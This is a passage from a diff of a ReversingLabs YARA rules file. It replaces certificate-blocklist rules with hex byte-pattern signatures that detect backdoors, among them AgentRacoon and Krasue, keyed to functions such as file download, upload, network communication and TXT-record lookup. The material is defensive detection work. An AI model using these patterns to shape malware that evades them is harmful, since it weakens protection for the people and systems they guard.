?? ?? ?? C3 0F 57 C0 0F 11 + 44 24 ?? 48 8B 40 ?? 48 89 04 24 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8D 0D ?? ?? ?? ?? + 48 89 4C 24 ?? 48 89 44 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 04 24 48 C7 44 24 ?? ?? ?? + ?? ?? 48 8D 44 24 ?? 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? + ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? + ?? 0F 57 C0 0F 11 84 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? + 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? + 0F 57 C0 0F 11 84 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 48 + 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 + } + $network_communication_v3 = { + 49 3B 66 ?? 76 ?? 48 83 EC ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? 4D 8B 66 ?? 0F 1F 84 00 + ?? ?? ?? ?? 4D 85 E4 0F 85 ?? ?? ?? ?? 48 89 5C 24 ?? 48 89 7C 24 ?? 4C 89 84 24 ?? + ?? ?? ?? 48 89 44 24 ?? 48 85 C0 74 ?? 48 8B 10 4C 8B 60 ?? 48 89 D0 4D 89 D3 4D 89 + CA 4D 89 C1 49 89 F0 48 89 FE 48 89 CF 48 89 D9 4C 89 E3 E8 ?? ?? ?? ?? 48 8B 6C 24 + ?? 48 83 C4 ?? C3 E8 ?? ?? ?? ?? 90 48 89 44 24 ?? 48 89 5C 24 ?? 48 89 4C 24 ?? 48 + 89 7C 24 ?? 48 89 74 24 ?? 4C 89 44 24 ?? 4C 89 4C 24 ?? 4C 89 54 24 ?? E8 ?? ?? ?? + ?? 48 8B 44 24 ?? 48 8B 5C 24 ?? 48 8B 4C 24 ?? 48 8B 7C 24 ?? 48 8B 74 24 ?? 4C 8B + 44 24 ?? 4C 8B 4C 24 ?? 4C 8B 54 24 ?? E9 ?? ?? ?? ?? 4C 8D 6C 24 ?? 0F 1F 44 00 ?? + 4D 39 2C 24 0F 85 ?? ?? ?? ?? 49 89 24 24 + } + $get_mac_address_v3 = { + 4C 8D 64 24 ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC 24 ?? ?? + ?? ?? 48 8D AC 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 75 ?? 48 85 DB 7E ?? 48 89 5C + 24 ?? 31 C9 31 D2 31 F6 31 FF EB ?? 31 C0 31 C9 EB ?? 31 C0 31 DB 48 89 F9 48 89 F7 + 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 85 C0 75 ?? 31 C0 31 DB 31 C9 48 + 89 C7 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 8B 01 48 8B 59 ?? 31 C9 31 + FF 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 4C 8B 54 24 ?? 49 8D 42 ?? 4C 89 + C1 48 89 D3 48 89 FA 48 89 DF 48 89 4C 24 ?? 48 89 44 24 ?? 48 89 54 24 ?? 48 89 7C + 24 ?? 48 89 74 24 ?? 0F 10 00 0F 11 84 24 ?? ?? ?? ?? 0F 10 40 ?? 0F 11 84 24 ?? ?? + ?? ?? 0F 10 40 ?? 0F 11 84 24 ?? ?? ?? ?? 0F 10 40 ?? 0F 11 84 24 ?? ?? ?? ?? 4C 8B + 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 4C 8B 8C 24 ?? ?? ?? ?? 4C 89 C0 4C 89 C9 + E8 ?? ?? ?? ?? 0F 1F 00 48 85 DB 74 ?? 48 8B 4C 24 ?? 48 8D 71 ?? 48 8B 7C 24 ?? 48 + 39 F7 72 ?? 48 8B 54 24 ?? EB ?? 48 89 5C 24 ?? 48 89 44 24 ?? 48 8D 05 ?? ?? ?? ?? + 48 8B 5C 24 ?? E8 ?? ?? ?? ?? 48 8D 73 ?? 48 8B 5C 24 ?? 48 89 C2 48 89 CF 48 8B 44 + 24 ?? 48 8B 4C 24 ?? 48 C1 E1 ?? 48 89 5C 0A ?? 4C 8D 04 0A 83 3D ?? ?? ?? ?? ?? 75 + ?? 48 89 04 0A EB ?? 48 89 F9 4C 89 C7 E8 ?? ?? ?? ?? 48 89 CF EB ?? 48 8B 74 24 ?? + 48 8B 54 24 ?? 48 8B 7C 24 ?? 4C 8B 44 24 ?? 49 FF C0 4C 8B 4C 24 ?? 0F 1F 44 00 ?? + 4D 39 C1 0F 8F ?? ?? ?? ?? 48 89 F0 48 89 D1 E9 + } + $download_file_v3_p1 = { + 4C 8D 64 24 ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC 24 ?? ?? + ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 + 8C 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 BC 24 ?? ?? ?? ?? 48 89 5C 24 ?? 48 89 4C 24 + ?? 48 89 B4 24 ?? ?? ?? ?? 48 89 F8 48 89 F3 E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 5C + 24 ?? 48 8D 8C 24 ?? ?? ?? ?? 44 0F 11 39 48 8D 94 24 ?? ?? ?? ?? 44 0F 11 3A 48 8B + 54 24 ?? 48 8B 72 ?? 48 8B 7A ?? 48 89 F0 48 89 FB 0F 1F 00 E8 ?? ?? ?? ?? 48 8D 0D + ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8B 82 + ?? ?? ?? ?? 48 8B 9A ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? + ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 89 D9 0F + 1F 44 00 ?? E8 ?? ?? ?? ?? 48 8D 4C 24 ?? 44 0F 11 39 48 8D 94 24 ?? ?? ?? ?? 44 0F + 11 3A E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 + 8B 44 24 ?? 48 8B 5C 24 ?? 0F 1F 00 E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 + ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 8D 4C 24 + ?? BF ?? ?? ?? ?? 48 89 FE E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 49 ?? 48 89 C7 48 89 + } + $download_file_v3_p2 = { + DE 45 31 C0 45 31 C9 4D 89 CA 48 8B 44 24 ?? 48 8D 1D ?? ?? ?? ?? 48 89 CA B9 ?? ?? + ?? ?? FF D2 48 85 DB 0F 85 ?? ?? ?? ?? 48 81 78 ?? ?? ?? ?? ?? 75 ?? 48 8B 08 48 8B + 78 ?? 48 8B 70 ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? + 0F 1F 40 ?? E8 ?? ?? ?? ?? 48 85 C0 74 ?? 31 C9 48 89 C7 48 89 DE 31 C0 48 89 CB 48 + 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 31 C0 48 8B 5C 24 ?? 48 8B 4C 24 ?? E8 + ?? ?? ?? ?? 31 FF 31 F6 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 44 0F 11 7C + 24 ?? 48 8B 40 ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 44 24 ?? + 48 8D 05 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 8D 4C 24 ?? BF ?? ?? ?? ?? 48 89 FE E8 ?? ?? + ?? ?? 31 C9 48 89 C7 48 89 DE 31 C0 48 89 CB 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? + ?? ?? C3 31 C0 48 89 DF 48 89 CE 31 DB 48 89 D9 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? + ?? ?? ?? C3 48 89 44 24 ?? 48 89 5C 24 ?? 48 89 4C 24 ?? 48 89 7C 24 ?? 48 89 74 24 + ?? 0F 1F 00 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 5C 24 ?? 48 8B 4C 24 ?? 48 8B 7C 24 + ?? 48 8B 74 24 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Neoopt LLC" and pe.signatures [ i ] . serial == "29:24:78:5f:d7:99:0b:2d:51:06:75:17:6d:ae:2b:ed" and 1595000258 <= pe.signatures [ i ] . not_after ) + uint32( 0 ) == 0x464C457F and ( ( ( $network_communication_v1 ) and ( $send_system_information_v1 ) and ( all of ( $download_file_v1_p* ) ) ) or ( ( $network_communication_v2 ) and ( all of ( $download_file_v2_p* ) ) and ( $send_system_information_v2 ) ) or ( ( $network_communication_v3 ) and ( $get_mac_address_v3 ) and ( all of ( $download_file_v3_p* ) ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_F4D2Def53Bccb0Dd2B7D54E4853A2Fc5 : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Agentracoon : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects AgentRacoon backdoor." author = "ReversingLabs" - id = "3c1bec34-9eac-5c7c-bb36-2e24b6ee52dc" - date = "2020-08-05" - modified = "2023-11-08" + id = "ad74d530-ffbd-589f-b941-3a5d9ec737b6" + date = "2023-12-15" + modified = "2023-12-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4742-L4760" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/ByteCode.MSIL.Backdoor.AgentRacoon.yara#L1-L128" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9991f44b8e984bd79269c44999481258d94bec9c21b154b63c6c30ae52344b3c" + logic_hash = "3ba73f19f59c2e5880df820c52f16997047d7299eb14d421ae2ed8f3790bcfe9" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "AgentRacoon" + tc_detection_factor = 5 importance = 25 + strings: + $unpack_response_p1 = { + 17 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 03 18 91 9C 11 ?? 73 ?? ?? ?? ?? 0A 06 16 6F ?? ?? + ?? ?? 2D ?? 73 ?? ?? ?? ?? 7A 17 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 03 19 91 9C 11 ?? 73 + ?? ?? ?? ?? 0A 06 1A 6F ?? ?? ?? ?? 2C ?? 06 1B 6F ?? ?? ?? ?? 2C ?? 06 1C 6F ?? ?? + ?? ?? 2C ?? 06 1D 6F ?? ?? ?? ?? 2C ?? 73 ?? ?? ?? ?? 7A 1F ?? 0B 2B ?? 07 17 58 0B + 03 07 91 2D ?? 07 17 58 0B 03 8E 69 07 59 0C 08 8D ?? ?? ?? ?? 0D 03 07 09 16 08 28 + ?? ?? ?? ?? 1A 13 ?? 2B ?? 11 ?? 17 58 13 ?? 09 11 ?? 91 2D ?? 11 ?? 17 58 13 ?? 09 + 8E 69 11 ?? 59 0C 08 8D ?? ?? ?? ?? 13 ?? 09 11 ?? 11 ?? 16 08 28 ?? ?? ?? ?? 02 12 + ?? FE 15 ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? + 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? + ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? + ?? 12 ?? 07 1F ?? 59 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? + ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 11 ?? 1A 59 8D ?? ?? ?? ?? 7D ?? + ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? + ?? 12 ?? 1A 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 11 + ?? 7D ?? ?? ?? ?? 03 16 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 03 18 + } + $unpack_response_p2 = { + 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 03 1A 02 7C ?? ?? ?? ?? 7B ?? + ?? ?? ?? 16 18 28 ?? ?? ?? ?? 03 1C 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? + ?? ?? 03 1E 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 03 1F ?? 02 7C ?? + ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 03 1F ?? 02 7C ?? ?? ?? ?? 7B ?? ?? ?? + ?? 16 07 1F ?? 59 28 ?? ?? ?? ?? 09 16 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? + ?? ?? ?? 09 18 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 09 1A 02 7C ?? + ?? ?? ?? 7B ?? ?? ?? ?? 16 11 ?? 1A 59 28 ?? ?? ?? ?? 11 ?? 16 02 7C ?? ?? ?? ?? 7B + ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 11 ?? 18 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 + ?? ?? ?? ?? 11 ?? 1A 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 1A 28 ?? ?? ?? ?? 11 ?? 1E + 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 02 7C ?? + ?? ?? ?? 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 1F ?? 91 13 ?? 02 7C ?? ?? ?? ?? 11 ?? + 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 11 ?? 1F ?? 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 11 ?? + 28 ?? ?? ?? ?? 2A + } + $upload = { + 28 ?? ?? ?? ?? 0A 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 2D ?? DD ?? ?? ?? ?? 16 0B 38 ?? + ?? ?? ?? 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 0C 06 02 7C ?? ?? ?? ?? + 7B ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 28 ?? ?? ?? ?? 02 7C ?? ?? ?? ?? + 7B ?? ?? ?? ?? 1B 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 72 ?? ?? ?? ?? A2 11 ?? 17 02 7C ?? + ?? ?? ?? 7B ?? ?? ?? ?? 07 6F ?? ?? ?? ?? A2 11 ?? 18 72 ?? ?? ?? ?? A2 11 ?? ?? 06 + A2 11 ?? 1A 72 ?? ?? ?? ?? A2 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7C ?? ?? ?? ?? + 7B ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 07 + 14 6F ?? ?? ?? ?? 07 17 58 0B 07 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 3F + ?? ?? ?? ?? 02 7C ?? ?? ?? ?? 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 7C ?? ?? ?? ?? 73 ?? + ?? ?? ?? 7D ?? ?? ?? ?? DE 23 0D 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 09 + 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 2A + } + $perform_request = { + 05 6F ?? ?? ?? ?? 0A 06 04 3D ?? ?? ?? ?? 06 04 19 5B 18 5A 3F ?? ?? ?? ?? 05 16 06 + 19 5B 6F ?? ?? ?? ?? 0B 05 06 19 5B 06 19 5B 6F ?? ?? ?? ?? 0C 05 06 19 5B 18 5A 6F + ?? ?? ?? ?? 0D 02 07 28 ?? ?? ?? ?? 0B 02 08 28 ?? ?? ?? ?? 0C 02 09 28 ?? ?? ?? ?? + 0D 1F ?? 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 03 A2 11 ?? 17 72 ?? ?? ?? ?? A2 11 ?? 18 07 + A2 11 ?? 19 72 ?? ?? ?? ?? A2 11 ?? 1A 08 A2 11 ?? 1B 72 ?? ?? ?? ?? A2 11 ?? 1C 09 + A2 11 ?? 1D 72 ?? ?? ?? ?? A2 11 ?? 1E 02 28 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ?? + ?? A2 11 ?? 1F ?? 02 7B ?? ?? ?? ?? A2 11 ?? 28 ?? ?? ?? ?? 10 ?? 38 ?? ?? ?? ?? 06 + 04 19 5B 18 5A 3D ?? ?? ?? ?? 06 04 19 5B 3F ?? ?? ?? ?? 05 16 06 18 5B 6F ?? ?? ?? + ?? 13 ?? 05 06 18 5B 6F ?? ?? ?? ?? 13 ?? 02 11 ?? 28 ?? ?? ?? ?? 13 ?? 02 11 ?? 28 + ?? ?? ?? ?? 13 ?? 1F ?? 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 03 A2 11 ?? 17 72 ?? ?? ?? ?? + A2 11 ?? 18 11 ?? A2 11 ?? 19 72 ?? ?? ?? ?? A2 11 ?? 1A 11 ?? A2 11 ?? 1B 72 ?? ?? + ?? ?? A2 11 ?? 1C 02 28 ?? ?? ?? ?? A2 11 ?? 1D 72 ?? ?? ?? ?? A2 11 ?? 1E 02 7B ?? + ?? ?? ?? A2 11 ?? 28 ?? ?? ?? ?? 10 ?? 2B ?? 02 05 28 ?? ?? ?? ?? 13 ?? 1D 8D ?? ?? + ?? ?? 13 ?? 11 ?? 16 03 A2 11 ?? 17 72 ?? ?? ?? ?? A2 11 ?? 18 11 ?? A2 11 ?? 19 72 + ?? ?? ?? ?? A2 11 ?? 1A 02 28 ?? ?? ?? ?? A2 11 ?? 1B 72 ?? ?? ?? ?? A2 11 ?? 1C 02 + 7B ?? ?? ?? ?? A2 11 ?? 28 ?? ?? ?? ?? 10 ?? 05 2A + } + $get_txt_record = { + 14 0A 03 73 ?? ?? ?? ?? 0B 07 6F ?? ?? ?? ?? 0C 7E ?? ?? ?? ?? 1F ?? 73 ?? ?? ?? ?? + 0D 09 08 08 8E 69 6F ?? ?? ?? ?? 26 09 6F ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? + 09 12 ?? 6F ?? ?? ?? ?? 13 ?? 09 6F ?? ?? ?? ?? 07 11 ?? 6F ?? ?? ?? ?? 07 6F ?? ?? + ?? ?? 13 ?? 28 ?? ?? ?? ?? 12 ?? 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? DE ?? 26 72 ?? + ?? ?? ?? 13 ?? DE ?? 11 ?? 2A + } + $main_loop = { + 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 73 ?? ?? ?? ?? 80 ?? ?? + ?? ?? 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 18 16 16 6F ?? ?? ?? ?? 0A 06 28 + ?? ?? ?? ?? 2D ?? 2A 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 2A 7E ?? ?? + ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 07 6F ?? ?? ?? + ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 12 ?? 7B ?? ?? ?? ?? 0D 12 ?? 7B + ?? ?? ?? ?? 13 ?? 72 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 7E ?? ?? ?? ?? 19 11 ?? 11 ?? + 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 2D ?? 14 80 ?? ?? ?? ?? 2A 11 ?? 7E ?? ?? ?? ?? 28 ?? + ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? + ?? ?? 11 ?? 17 58 13 ?? 11 ?? 09 32 ?? 7E ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 0B 73 ?? + ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 6F ?? ?? ?? + ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 7E ?? ?? ?? ?? 07 + 17 6F ?? ?? ?? ?? 13 ?? 11 ?? 7E ?? ?? ?? ?? 1A 16 16 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? + 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 DD ?? ?? ?? ?? 26 DE ?? 2A + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PETROYL GROUP, TOV" and ( pe.signatures [ i ] . serial == "00:f4:d2:de:f5:3b:cc:b0:dd:2b:7d:54:e4:85:3a:2f:c5" or pe.signatures [ i ] . serial == "f4:d2:de:f5:3b:cc:b0:dd:2b:7d:54:e4:85:3a:2f:c5" ) and 1598347687 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $unpack_response_p* ) ) and ( $upload ) and ( $perform_request ) and ( $get_txt_record ) and ( $main_loop ) } - -rule REVERSINGLABS_Cert_Blocklist_03Bf9Ef4Cf037A2385649026C3Da9D3E : INFO FILE +rule REVERSINGLABS_Linux_Backdoor_Krasue : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Krasue backdoor." author = "ReversingLabs" - id = "d7396af1-2eae-594a-9933-3d148503c0ea" - date = "2020-08-05" - modified = "2023-11-08" + id = "3187eebf-ef70-585f-85cf-5813025c785e" + date = "2024-03-04" + modified = "2024-03-04" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4762-L4778" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Backdoor.Krasue.yara#L1-L127" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "14196bad586b1349e6e8a1eb5621ce0d8d346ff8021c8ef80804de1533fd40d9" + logic_hash = "e2daa35ef9e0793062c9fb3bd8e4838e1e81ee3d228d8117b1c3b0e72eb8e151" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "Krasue" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "COLLECTIVE SOFTWARE INC." and pe.signatures [ i ] . serial == "03:bf:9e:f4:cf:03:7a:23:85:64:90:26:c3:da:9d:3e" and 1595371955 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_790177A54209D55560A55Db97C5900D6 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "cc49f477-269a-55af-8344-39d2f24c1e7f" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4780-L4796" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "07c8e21fe604b481beebae784eb49e32bebee70e749581a55313bfbc757752e2" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $switch_server = { + 8B 05 ?? ?? ?? ?? FF C0 3B 05 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? 7C ?? C7 05 ?? ?? ?? ?? + ?? ?? ?? ?? 48 63 05 ?? ?? ?? ?? 85 C0 75 ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B + 15 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? C6 05 ?? ?? ?? ?? + ?? 89 15 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 66 89 15 ?? ?? 23 00 48 8B 04 C5 ?? ?? ?? ?? + 66 C7 05 ?? ?? 23 00 ?? ?? 8B 10 89 15 ?? ?? ?? ?? 66 8B 40 ?? 66 89 05 ?? ?? 23 00 + C3 + } + $get_hostname = { + 41 55 41 54 31 F6 55 53 31 C0 BF ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 + C0 0F 88 ?? ?? ?? ?? 48 89 E6 89 C7 89 C3 E8 ?? ?? ?? ?? 48 8B 6C 24 ?? 45 31 C9 31 + FF 41 89 D8 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 41 89 EC 48 63 ED 48 89 EE E8 ?? ?? ?? ?? + BE ?? ?? ?? ?? 48 89 C7 49 89 C5 E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? 48 63 D0 49 8D 74 15 + ?? 8D 50 ?? 48 63 D2 44 39 E2 41 89 D0 7D ?? 48 FF C2 41 80 7C 15 ?? ?? 75 ?? 44 89 + C1 41 FF C8 BA ?? ?? ?? ?? 29 C1 4D 63 C0 48 89 D7 83 E9 ?? 48 63 C9 F3 A4 41 C6 80 + ?? ?? ?? ?? ?? 4C 89 EF 48 89 EE E8 ?? ?? ?? ?? 89 DF E8 ?? ?? ?? ?? 48 81 C4 ?? ?? + ?? ?? 5B 5D 41 5C 41 5D C3 + } + $start_server_p1 = { + 41 57 41 56 31 D2 41 55 41 54 BE ?? ?? ?? ?? 55 53 89 FB BF ?? ?? ?? ?? 48 81 EC ?? + ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 89 05 ?? ?? ?? ?? 79 ?? 83 CF ?? E9 ?? ?? ?? ?? 48 8D + 4C 24 ?? 41 B8 ?? ?? ?? ?? BE ?? ?? ?? ?? BA ?? ?? ?? ?? 89 C7 C7 44 24 ?? ?? ?? ?? + ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? ?? 48 89 D7 F3 AB 31 FF 66 C7 05 + ?? ?? 23 00 ?? ?? E8 ?? ?? ?? ?? 0F B7 FB 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 3D ?? + ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 66 89 05 ?? ?? 23 00 E8 ?? ?? ?? ?? 85 C0 78 + ?? 4C 8D A4 24 ?? ?? ?? ?? 4C 8D AC 24 ?? ?? ?? ?? 4C 8D 74 24 ?? C7 05 ?? ?? ?? ?? + ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 31 C9 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? BA ?? ?? ?? + ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 48 89 C3 0F 88 ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? + ?? 4C 